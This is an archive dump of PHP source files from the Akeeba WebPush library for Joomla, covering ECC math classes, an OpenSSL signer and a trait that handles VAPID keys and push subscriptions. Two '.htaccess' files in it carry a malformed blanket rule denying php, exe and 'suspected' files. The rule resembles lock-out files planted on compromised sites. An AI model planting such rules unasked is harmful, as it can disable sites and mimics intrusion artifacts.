 * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
 * OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
 * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
 * OTHER DEALINGS IN THE SOFTWARE.
 * ***********************************************************************
 *
 * @internal
 */
class PublicKey
{
    /**
     * @var Point
     */
    private $point;

    public function __construct(Point $point)
    {
        $this->point = $point;
    }

    public function getPoint(): Point
    {
        return $this->point;
    }
}
PK     \/	  	  &  vendor/akeeba/webpush/src/ECC/Math.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\ECC;

use Akeeba\WebPush\ECC\BigInteger as CoreBigInteger;
use Brick\Math\BigInteger;

/**
 * This class is copied verbatim from the JWT Framework by Spomky Labs.
 *
 * You can find the original code at https://github.com/web-token/jwt-framework
 *
 * The original file has the following copyright notice:
 *
 * =====================================================================================================================
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2020 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE-SPOMKY.txt file for details.
 *
 * =====================================================================================================================
 *
 * @internal
 */
class Math
{
    public static function equals(BigInteger $first, BigInteger $other): bool
    {
        return $first->isEqualTo($other);
    }

    public static function add(BigInteger $augend, BigInteger $addend): BigInteger
    {
        return $augend->plus($addend);
    }

    public static function toString(BigInteger $value): string
    {
        return $value->toBase(10);
    }

    public static function inverseMod(BigInteger $a, BigInteger $m): BigInteger
    {
        return CoreBigInteger::createFromBigInteger($a)->modInverse(CoreBigInteger::createFromBigInteger($m))->get();
    }

    public static function baseConvert(string $number, int $from, int $to): string
    {
        return BigInteger::fromBase($number, $from)->toBase($to);
    }
}
PK     \96`  `  ,  vendor/akeeba/webpush/src/ECC/BigInteger.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\ECC;

use Brick\Math\BigInteger as BrickBigInteger;
use InvalidArgumentException;
use function chr;

/**
 * This class is copied verbatim from the JWT Framework by Spomky Labs.
 *
 * You can find the original code at https://github.com/web-token/jwt-framework
 *
 * The original file has the following copyright notice:
 *
 * =====================================================================================================================
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2020 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE-SPOMKY.txt file for details.
 *
 * =====================================================================================================================
 *
 * @internal
 */
class BigInteger
{
    /**
     * Holds the BigInteger's value.
     *
     * @var BrickBigInteger
     */
    private $value;

    private function __construct(BrickBigInteger $value)
    {
        $this->value = $value;
    }

    /**
     * @return BigInteger
     */
    public static function createFromBinaryString(string $value): self
    {
        $res = unpack('H*', $value);
        if (false === $res) {
            throw new InvalidArgumentException('Unable to convert the value');
        }
        $data = current($res);

        return new self(BrickBigInteger::fromBase($data, 16));
    }

    /**
     * @return BigInteger
     */
    public static function createFromDecimal(int $value): self
    {
        return new self(BrickBigInteger::of($value));
    }

    /**
     * @return BigInteger
     */
    public static function createFromBigInteger(BrickBigInteger $value): self
    {
        return new self($value);
    }

    /**
     * Converts a BigInteger to a binary string.
     */
    public function toBytes(): string
    {
        if ($this->value->isEqualTo(BrickBigInteger::zero())) {
            return '';
        }

        $temp = $this->value->toBase(16);
        $temp = 0 !== (mb_strlen($temp, '8bit') & 1) ? '0'.$temp : $temp;
        $temp = hex2bin($temp);
        if (false === $temp) {
            throw new InvalidArgumentException('Unable to convert the value into bytes');
        }

        return ltrim($temp, chr(0));
    }

    /**
     * Adds two BigIntegers.
     *
     *  @param BigInteger $y
     *
     *  @return BigInteger
     */
    public function add(self $y): self
    {
        $value = $this->value->plus($y->value);

        return new self($value);
    }

    /**
     * Subtracts two BigIntegers.
     *
     *  @param BigInteger $y
     *
     *  @return BigInteger
     */
    public function subtract(self $y): self
    {
        $value = $this->value->minus($y->value);

        return new self($value);
    }

    /**
     * Multiplies two BigIntegers.
     *
     * @param BigInteger $x
     *
     *  @return BigInteger
     */
    public function multiply(self $x): self
    {
        $value = $this->value->multipliedBy($x->value);

        return new self($value);
    }

    /**
     * Divides two BigIntegers.
     *
     * @param BigInteger $x
     *
     *  @return BigInteger
     */
    public function divide(self $x): self
    {
        $value = $this->value->dividedBy($x->value);

        return new self($value);
    }

    /**
     * Performs modular exponentiation.
     *
     * @param BigInteger $e
     * @param BigInteger $n
     *
     * @return BigInteger
     */
    public function modPow(self $e, self $n): self
    {
        $value = $this->value->modPow($e->value, $n->value);

        return new self($value);
    }

    /**
     * Performs modular exponentiation.
     *
     * @param BigInteger $d
     *
     * @return BigInteger
     */
    public function mod(self $d): self
    {
        $value = $this->value->mod($d->value);

        return new self($value);
    }

    public function modInverse(BigInteger $m): BigInteger
    {
        return new self($this->value->modInverse($m->value));
    }

    /**
     * Compares two numbers.
     *
     * @param BigInteger $y
     */
    public function compare(self $y): int
    {
        return $this->value->compareTo($y->value);
    }

    /**
     * @param BigInteger $y
     */
    public function equals(self $y): bool
    {
        return $this->value->isEqualTo($y->value);
    }

    /**
     * @param BigInteger $y
     *
     * @return BigInteger
     */
    public static function random(self $y): self
    {
        return new self(BrickBigInteger::randomRange(0, $y->value));
    }

    /**
     * @param BigInteger $y
     *
     * @return BigInteger
     */
    public function gcd(self $y): self
    {
        return new self($this->value->gcd($y->value));
    }

    /**
     * @param BigInteger $y
     */
    public function lowerThan(self $y): bool
    {
        return $this->value->isLessThan($y->value);
    }

    public function isEven(): bool
    {
        return $this->value->isEven();
    }

    public function get(): BrickBigInteger
    {
        return $this->value;
    }
}
PK     \*V2  2  '  vendor/akeeba/webpush/src/ECC/Point.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\ECC;

use Brick\Math\BigInteger;

/**
 * This class is copied verbatim from the JWT Framework by Spomky Labs.
 *
 * You can find the original code at https://github.com/web-token/jwt-framework
 *
 * The original file has the following copyright notice:
 *
 * =====================================================================================================================
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2020 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE-SPOMKY.txt file for details.
 *
 * =====================================================================================================================
 *
 * *********************************************************************
 * Copyright (C) 2012 Matyas Danter.
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the "Software"),
 * to deal in the Software without restriction, including without limitation
 * the rights to use, copy, modify, merge, publish, distribute, sublicense,
 * and/or sell copies of the Software, and to permit persons to whom the
 * Software is furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
 * in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
 * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
 * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
 * OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
 * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
 * OTHER DEALINGS IN THE SOFTWARE.
 * ***********************************************************************
 *
 * @internal
 */
class Point
{
    /**
     * @var BigInteger
     */
    private $x;

    /**
     * @var BigInteger
     */
    private $y;

    /**
     * @var BigInteger
     */
    private $order;

    /**
     * @var bool
     */
    private $infinity = false;

    private function __construct(BigInteger $x, BigInteger $y, BigInteger $order, bool $infinity = false)
    {
        $this->x = $x;
        $this->y = $y;
        $this->order = $order;
        $this->infinity = $infinity;
    }

    public static function create(BigInteger $x, BigInteger $y, ?BigInteger $order = null): self
    {
        return new self($x, $y, $order ?? BigInteger::zero());
    }

    public static function infinity(): self
    {
        $zero = BigInteger::zero();

        return new self($zero, $zero, $zero, true);
    }

    public function isInfinity(): bool
    {
        return $this->infinity;
    }

    public function getOrder(): BigInteger
    {
        return $this->order;
    }

    public function getX(): BigInteger
    {
        return $this->x;
    }

    public function getY(): BigInteger
    {
        return $this->y;
    }

    public static function cswap(self $a, self $b, int $cond): void
    {
        self::cswapBigInteger($a->x, $b->x, $cond);
        self::cswapBigInteger($a->y, $b->y, $cond);
        self::cswapBigInteger($a->order, $b->order, $cond);
        self::cswapBoolean($a->infinity, $b->infinity, $cond);
    }

    private static function cswapBoolean(bool &$a, bool &$b, int $cond): void
    {
        $sa = BigInteger::of((int) $a);
        $sb = BigInteger::of((int) $b);

        self::cswapBigInteger($sa, $sb, $cond);

        $a = (bool) $sa->toBase(10);
        $b = (bool) $sb->toBase(10);
    }

    private static function cswapBigInteger(BigInteger &$sa, BigInteger &$sb, int $cond): void
    {
        $size = max(mb_strlen($sa->toBase(2), '8bit'), mb_strlen($sb->toBase(2), '8bit'));
        $mask = (string) (1 - $cond);
        $mask = str_pad('', $size, $mask, STR_PAD_LEFT);
        $mask = BigInteger::fromBase($mask, 2);
        $taA = $sa->and($mask);
        $taB = $sb->and($mask);
        $sa = $sa->xor($sb)->xor($taB);
        $sb = $sa->xor($sb)->xor($taA);
        $sa = $sa->xor($sb)->xor($taB);
    }
}
PK     \Sʉ      '  vendor/akeeba/webpush/src/ECC/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \
4Qb  b  1  vendor/akeeba/webpush/src/Workarounds/OpenSSL.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2024 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

/** @noinspection PhpIllegalPsrClassPathInspection */

namespace Lcobucci\JWT\Signer;

use InvalidArgumentException;
use function is_resource;
use function openssl_error_string;
use function openssl_free_key;
use function openssl_pkey_get_details;
use function openssl_pkey_get_private;
use function openssl_pkey_get_public;
use function openssl_sign;
use function openssl_verify;

abstract class OpenSSL extends BaseSigner
{
    public function createHash($payload, Key $key)
    {
        $privateKey = $this->getPrivateKey($key->getContent(), $key->getPassphrase());

        try {
            $signature = '';

            if (! openssl_sign($payload, $signature, $privateKey, $this->getAlgorithm())) {
                throw CannotSignPayload::errorHappened(openssl_error_string());
            }

            return $signature;
        } finally {
            @openssl_free_key($privateKey);
        }
    }

    /**
     * @param string $pem
     * @param string $passphrase
     *
     * @return resource
     */
    private function getPrivateKey($pem, $passphrase)
    {
        $privateKey = openssl_pkey_get_private($pem, $passphrase);
        $this->validateKey($privateKey);

        return $privateKey;
    }

    /**
     * @param $expected
     * @param $payload
     * @param $key
     * @return bool
     */
    public function doVerify($expected, $payload, Key $key)
    {
        $publicKey = $this->getPublicKey($key->getContent());
        $result    = openssl_verify($payload, $expected, $publicKey, $this->getAlgorithm());
        openssl_free_key($publicKey);

        return $result === 1;
    }

    /**
     * @param string $pem
     *
     * @return resource
     */
    private function getPublicKey($pem)
    {
        $publicKey = openssl_pkey_get_public($pem);
        $this->validateKey($publicKey);

        return $publicKey;
    }

    /**
     * Raises an exception when the key type is not the expected type
     *
     * @param resource|bool $key
     *
     * @throws InvalidArgumentException
     */
    private function validateKey($key)
    {
        if (! is_resource($key) && !is_object($key)) {
            throw InvalidKeyProvided::cannotBeParsed(openssl_error_string());
        }

        $details = openssl_pkey_get_details($key);

        if (! isset($details['key']) || $details['type'] !== $this->getKeyType()) {
            throw InvalidKeyProvided::incompatibleKey();
        }
    }

    /**
     * Returns the type of key to be used to create/verify the signature (using OpenSSL constants)
     *
     * @internal
     */
    abstract public function getKeyType();

    /**
     * Returns which algorithm to be used to create/verify the signature (using OpenSSL constants)
     *
     * @internal
     */
    abstract public function getAlgorithm();
}
PK     \Sʉ      /  vendor/akeeba/webpush/src/Workarounds/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \'<=  =  /  vendor/akeeba/webpush/src/WebPushModelTrait.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\WebPush;

use Akeeba\WebPush\WebPush\Subscription;
use Akeeba\WebPush\WebPush\VAPID;
use Exception;
use Joomla\Application\ApplicationInterface;
use Joomla\CMS\Cache\CacheControllerFactoryInterface;
use Joomla\CMS\Cache\Controller\CallbackController;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;
use RuntimeException;
use Throwable;

/**
 * Trait for models implementing Web Push
 *
 * @since  1.0.0
 */
trait WebPushModelTrait
{
	/**
	 * Internal cache of VAPID keys per component
	 *
	 * @var   array
	 * @since 1.0.0
	 */
	private static $vapidKeys = [];

	/**
	 * The component parameters key holding the VAPID keys configuration
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $webPushConfigKey;

	/**
	 * The current component, e.g. com_example
	 *
	 * @var   string
	 * @since 1.0.0
	 */
	private $webPushOption;

	/**
	 * Return the VAPID keys for this component
	 *
	 * @return  array{publicKey: string, privateKey: string}
	 * @since   1.0.0
	 */
	public function getVapidKeys(): ?array
	{
		if (is_array(self::$vapidKeys[$this->webPushOption] ?? null))
		{
			return self::$vapidKeys[$this->webPushOption];
		}

		$json = ComponentHelper::getParams($this->webPushOption)->get($this->webPushConfigKey);

		if (!empty($json))
		{
			try
			{
				self::$vapidKeys[$this->webPushOption] = @json_decode($json, true);
			}
			catch (Exception $e)
			{
				self::$vapidKeys[$this->webPushOption] = null;
			}
		}

		if (
			is_array(self::$vapidKeys[$this->webPushOption])
			&& isset(self::$vapidKeys[$this->webPushOption]['publicKey'])
			&& isset(self::$vapidKeys[$this->webPushOption]['privateKey']))
		{
			return self::$vapidKeys[$this->webPushOption];
		}

		try
		{
			self::$vapidKeys[$this->webPushOption] = $this->getNewVapidKeys();
		}
		catch (\ErrorException $e)
		{
			return null;
		}

		return self::$vapidKeys[$this->webPushOption];
	}

	/**
	 * Returns the user's Web Push subscription object, or NULL if it's not defined or invalid.
	 *
	 * @param   int|null  $user_id  The user ID to get the subscription for. NULL for current user.
	 *
	 * @return  object[]|null  The Web Push subscription object. NULL if not defined or invalid.
	 * @throws  Exception
	 * @since   1.0.0
	 */
	public function getWebPushSubscriptions(?int $user_id = null): ?array
	{
		if (empty($user_id))
		{
			$app     = Factory::getApplication();
			$user_id = $app->getIdentity()->id;
		}

		$key = $this->webPushOption . '.webPushSubscription';

		/** @var DatabaseInterface $db */
		$db    = method_exists($this, 'getDatabase') ? $this->getDatabase() : $this->getDbo();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->quoteName('profile_value'))
			->from($db->quoteName('#__user_profiles'))
			->where(
				[
					$db->quoteName('user_id') . ' = :user_id',
					$db->quoteName('profile_key') . ' = :key',
				]
			)
			->bind(':user_id', $user_id, ParameterType::INTEGER)
			->bind(':key', $key, ParameterType::STRING);

		$json = $db->setQuery($query)->loadResult() ?: null;

		if (empty($json))
		{
			return null;
		}

		try
		{
			$array = @json_decode($json) ?: null;

			if (!is_array($array))
			{
				return null;
			}

			return $array;
		}
		catch (Exception $e)
		{
			return null;
		}
	}

	/**
	 * Send a notification to all the user's subscribed browsers.
	 *
	 * @param   string       $title         Notification title
	 * @param   array        $options       Notification options
	 * @param   int|null     $user_id       Optional. The user_id of the subscribed user. NULL for current user.
	 * @param   object|null  $subscription  Optional. A specific subscription to send the notifications to.
	 *
	 * @return array
	 *
	 * @throws \ErrorException
	 * @since   1.0.0
	 */
	public function sendNotification(string $title, array $options, ?int $user_id = null, ?object $subscription = null
	): array
	{
		// Get the user's subscriptions (or use a forced subscription)
		$subscriptions = is_object($subscription) ? [$subscription] : $this->getWebPushSubscriptions($user_id);

		if (empty($subscriptions))
		{
			return [];
		}

		// Convert the raw subscription data to Subscription objects
		$subscriptions = array_map(
			function ($subData) {
				try
				{
					return new Subscription(
						$subData->endpoint,
						$subData->keys->p256dh,
						$subData->keys->auth
					);
				}
				catch (\ErrorException $e)
				{
					return null;
				}
			}, $subscriptions
		);

		$subscriptions = array_filter(
			$subscriptions,
			function ($x) {
				return $x !== null;
			}
		);

		// Get the WebPush object
		$vapidKeys = $this->getVapidKeys();
		$auth      = ($vapidKeys === null)
			? []
			: [
				'VAPID' => [
					'subject'    => Uri::root(),
					'publicKey'  => $vapidKeys['publicKey'],
					'privateKey' => $vapidKeys['privateKey'],
				],
			];
		$webPush   = new WebPush\WebPush($auth);

		// Get the payload as JSON
		$payload = json_encode(
			[
				'title'   => $title,
				'options' => $options,
			]
		);

		// Send all notifications
		$reports = [];

		foreach ($subscriptions as $subscription)
		{
			$report = $webPush->sendOneNotification($subscription, $payload);

			if ($report !== null)
			{
				$reports[] = $report;
			}
		}

		return $reports;
	}

	/**
	 * Save the Web Push user subscription record sent from the browser
	 *
	 * @param   string  $json  The JSON serialised Web Push registration sent by the browser
	 *
	 * @return  void
	 * @throws  Exception
	 * @since   1.0.0
	 */
	public function webPushSaveSubscription(string $json): void
	{
		// Try to decode the JSON we retrieved from the browser
		try
		{
			$subscriptionData = @json_decode($json);
		}
		catch (Exception $e)
		{
			$subscriptionData = null;
		}

		// Validate the format of the data we received from the browser
		if (
			!is_object($subscriptionData)
			|| !isset($subscriptionData->endpoint)
			|| !isset($subscriptionData->keys)
			|| !is_object($subscriptionData->keys)
			|| !isset($subscriptionData->keys->p256dh)
			|| !is_string($subscriptionData->keys->p256dh)
			|| empty($subscriptionData->keys->p256dh)
			|| !isset($subscriptionData->keys->auth)
			|| !is_string($subscriptionData->keys->auth)
			|| empty($subscriptionData->keys->auth)
		)
		{
			throw new RuntimeException('Invalid Web Push user subscription record');
		}

		// Get the user options key and the user ID
		$user    = Factory::getApplication()->getIdentity();
		$user_id = $user->id;
		$key     = $this->webPushOption . '.webPushSubscription';

		// Get any existing subscriptions, append the new one
		$subscriptions   = $this->getWebPushSubscriptions() ?: [];
		$subscriptions[] = $subscriptionData ?: [];

		// Remove any existing options
		/** @var DatabaseInterface $db */
		$db    = method_exists($this, 'getDatabase') ? $this->getDatabase() : $this->getDbo();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->delete($db->quoteName('#__user_profiles'))
			->where(
				[
					$db->quoteName('user_id') . ' = :user_id',
					$db->quoteName('profile_key') . ' = :key',
				]
			)
			->bind(':user_id', $user_id, ParameterType::INTEGER)
			->bind(':key', $key, ParameterType::STRING);

		$db->setQuery($query)->execute();

		// Add the new options
		$profileObject = (object) [
			'user_id'       => $user_id,
			'profile_key'   => $key,
			'profile_value' => json_encode($subscriptions),
			'ordering'      => 0,
		];
		$db->insertObject('#__user_profiles', $profileObject);
	}

	/**
	 * Remove the Web Push user subscription record sent from the browser
	 *
	 * @param   string  $json  The JSON serialised Web Push registration sent by the browser
	 *
	 * @return  void
	 * @throws  Exception
	 * @since   1.0.0
	 */
	public function webPushRemoveSubscription(string $json): void
	{
		// Try to decode the JSON we retrieved from the browser
		try
		{
			$subscriptionData = @json_decode($json);
		}
		catch (Exception $e)
		{
			$subscriptionData = null;
		}

		if ($subscriptionData === null)
		{
			return;
		}

		// Validate the format of the data we received from the browser
		if (
			!is_object($subscriptionData)
			|| !isset($subscriptionData->endpoint)
			|| !isset($subscriptionData->keys)
			|| !is_object($subscriptionData->keys)
			|| !isset($subscriptionData->keys->p256dh)
			|| !is_string($subscriptionData->keys->p256dh)
			|| empty($subscriptionData->keys->p256dh)
			|| !isset($subscriptionData->keys->auth)
			|| !is_string($subscriptionData->keys->auth)
			|| empty($subscriptionData->keys->auth)
		)
		{
			throw new RuntimeException('Invalid Web Push user subscription record');
		}

		// Get the user options key and the user ID
		$user    = Factory::getApplication()->getIdentity();
		$user_id = $user->id;
		$key     = $this->webPushOption . '.webPushSubscription';

		// Get any existing subscriptions, remove the specified one
		$subscriptions = $this->getWebPushSubscriptions() ?: [];
		$index         = null;

		foreach ($subscriptions as $k => $v)
		{
			if (
				$v->endpoint === $subscriptionData->endpoint
				&& $v->keys->p256dh === $subscriptionData->keys->p256dh
				&& $v->keys->auth === $subscriptionData->keys->auth
			)
			{
				$index = $k;

				break;
			}
		}

		if ($index === null)
		{
			return;
		}

		unset($subscriptions[$k]);

		$subscriptions = array_values($subscriptions);

		// Remove any existing options
		/** @var DatabaseInterface $db */
		$db    = method_exists($this, 'getDatabase') ? $this->getDatabase() : $this->getDbo();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->delete($db->quoteName('#__user_profiles'))
			->where(
				[
					$db->quoteName('user_id') . ' = :user_id',
					$db->quoteName('profile_key') . ' = :key',
				]
			)
			->bind(':user_id', $user_id, ParameterType::INTEGER)
			->bind(':key', $key, ParameterType::STRING);

		$db->setQuery($query)->execute();

		// Add the new options
		$profileObject = (object) [
			'user_id'       => $user_id,
			'profile_key'   => $key,
			'profile_value' => json_encode($subscriptions),
			'ordering'      => 0,
		];
		$db->insertObject('#__user_profiles', $profileObject);
	}

	/**
	 * Initialise the Web Push integration
	 *
	 * @param   string  $option     The current component, e.g. com_example
	 * @param   string  $configKey  The component's configuration key holding the VAPID keys
	 *
	 * @return  void
	 * @since   1.0.0
	 */
	protected function initialiseWebPush(string $option, string $configKey = 'vapidKey'): void
	{
		$this->webPushOption    = $option;
		$this->webPushConfigKey = $configKey;
	}

	/**
	 * Clear a cache group.
	 *
	 * Used internally when saving the component's options after creating new VAPID keys.
	 *
	 * @param   string                $group      The cache to clean, e.g. com_content
	 * @param   int                   $client_id  The application ID for which the cache will be cleaned
	 * @param   ApplicationInterface  $app        The current CMS application.
	 *
	 * @return  array Cache controller options, including cleaning result
	 * @throws  Exception
	 * @since   1.0.0
	 */
	private function clearCacheGroup(string $group, int $client_id, ApplicationInterface $app): array
	{
		// Get the default cache folder. Start by using the JPATH_CACHE constant.
		$cacheBaseDefault = JPATH_CACHE;
		$appClientId      = 0;

		if (method_exists($app, 'getClientId'))
		{
			$appClientId = $app->getClientId();
		}

		// -- If we are asked to clean cache on the other side of the application we need to find a new cache base
		if ($client_id != $appClientId)
		{
			$cacheBaseDefault = (($client_id) ? JPATH_SITE : JPATH_ADMINISTRATOR) . '/cache';
		}

		// Get the cache controller's options
		$options = [
			'defaultgroup' => $group,
			'cachebase'    => $app->get('cache_path', $cacheBaseDefault),
			'result'       => true,
		];

		try
		{
			$container = Factory::getContainer();

			if (empty($container))
			{
				throw new RuntimeException('Cannot get Joomla 4 application container');
			}

			/** @var CacheControllerFactoryInterface $cacheControllerFactory */
			$cacheControllerFactory = $container->get('cache.controller.factory');

			if (empty($cacheControllerFactory))
			{
				throw new RuntimeException('Cannot get Joomla 4 cache controller factory');
			}

			/** @var CallbackController $cache */
			$cache = $cacheControllerFactory->createCacheController('callback', $options);

			if (empty($cache) || !property_exists($cache, 'cache') || !method_exists($cache->cache, 'clean'))
			{
				throw new RuntimeException('Cannot get Joomla 4 cache controller');
			}

			$cache->cache->clean();
		}
		catch (Throwable $e)
		{
			$options['result'] = false;
		}

		return $options;
	}

	/**
	 * Create, save and return new VAPID keys.
	 *
	 * DO NOT RUN MORE THAN ONCE. Doing so will invalidate all Web Push registrations for existing users!
	 *
	 * @return  array{publicKey: string, privateKey: string}
	 * @throws  \ErrorException
	 * @since   1.0.0
	 */
	private function getNewVapidKeys(): array
	{
		$vapidKeys = VAPID::createVapidKeys();
		$params    = ComponentHelper::getParams($this->webPushOption);

		$params->set($this->webPushConfigKey, json_encode($vapidKeys));

		/** @var DatabaseInterface $db */
		$db   = method_exists($this, 'getDatabase') ? $this->getDatabase() : $this->getDbo();
		$data = $params->toString('JSON');
		$sql  = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->update($db->qn('#__extensions'))
			->set($db->qn('params') . ' = ' . $db->q($data))
			->where($db->qn('element') . ' = :option')
			->where($db->qn('type') . ' = ' . $db->q('component'))
			->bind(':option', $this->webPushOption);

		$db->setQuery($sql);

		try
		{
			$db->execute();

			// The component parameters are cached. We just changed them. Therefore we MUST reset the system cache which holds them.
			$app = Factory::getApplication();
			$this->clearCacheGroup('_system', 0, $app);
			$this->clearCacheGroup('_system', 1, $app);
		}
		catch (Exception $e)
		{
			// Don't sweat if it fails
		}

		// Reset ComponentHelper's cache
		$refClass = new \ReflectionClass(ComponentHelper::class);
		$refProp  = $refClass->getProperty('components');

		if (version_compare(PHP_VERSION, '8.1.0', 'lt'))
		{
			$refProp->setAccessible(true);
		}

		if (version_compare(PHP_VERSION, '8.3.0', 'ge'))
		{
			$components = $refClass->getStaticPropertyValue('components');
		}
		else
		{
			$components = $refProp->getValue();
		}

		$components[$this->webPushOption]->params = $params;

		if (version_compare(PHP_VERSION, '8.3.0', 'ge'))
		{
			$refClass->setStaticPropertyValue('components', $components);
		}
		else
		{
			$refProp->setValue($components);
		}

		return $vapidKeys;
	}
}PK     \Ϙ:  :  -  vendor/akeeba/webpush/src/WebPush/WebPush.phpnu [        <?php
/**
 * Akeeba WebPush
 *
 * An abstraction layer for easier implementation of WebPush in Joomla components.
 *
 * @copyright Copyright (c) 2022-2026 Akeeba Ltd
 * @license   GNU GPL v3 or later; see LICENSE.txt
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */

declare(strict_types=1);

namespace Akeeba\WebPush\WebPush;

use Akeeba\WebPush\Base64Url\Base64Url;
use Joomla\CMS\Uri\Uri;
use Joomla\Http\Http as HttpClient;
use Joomla\Http\HttpFactory;
use Joomla\Http\Response;
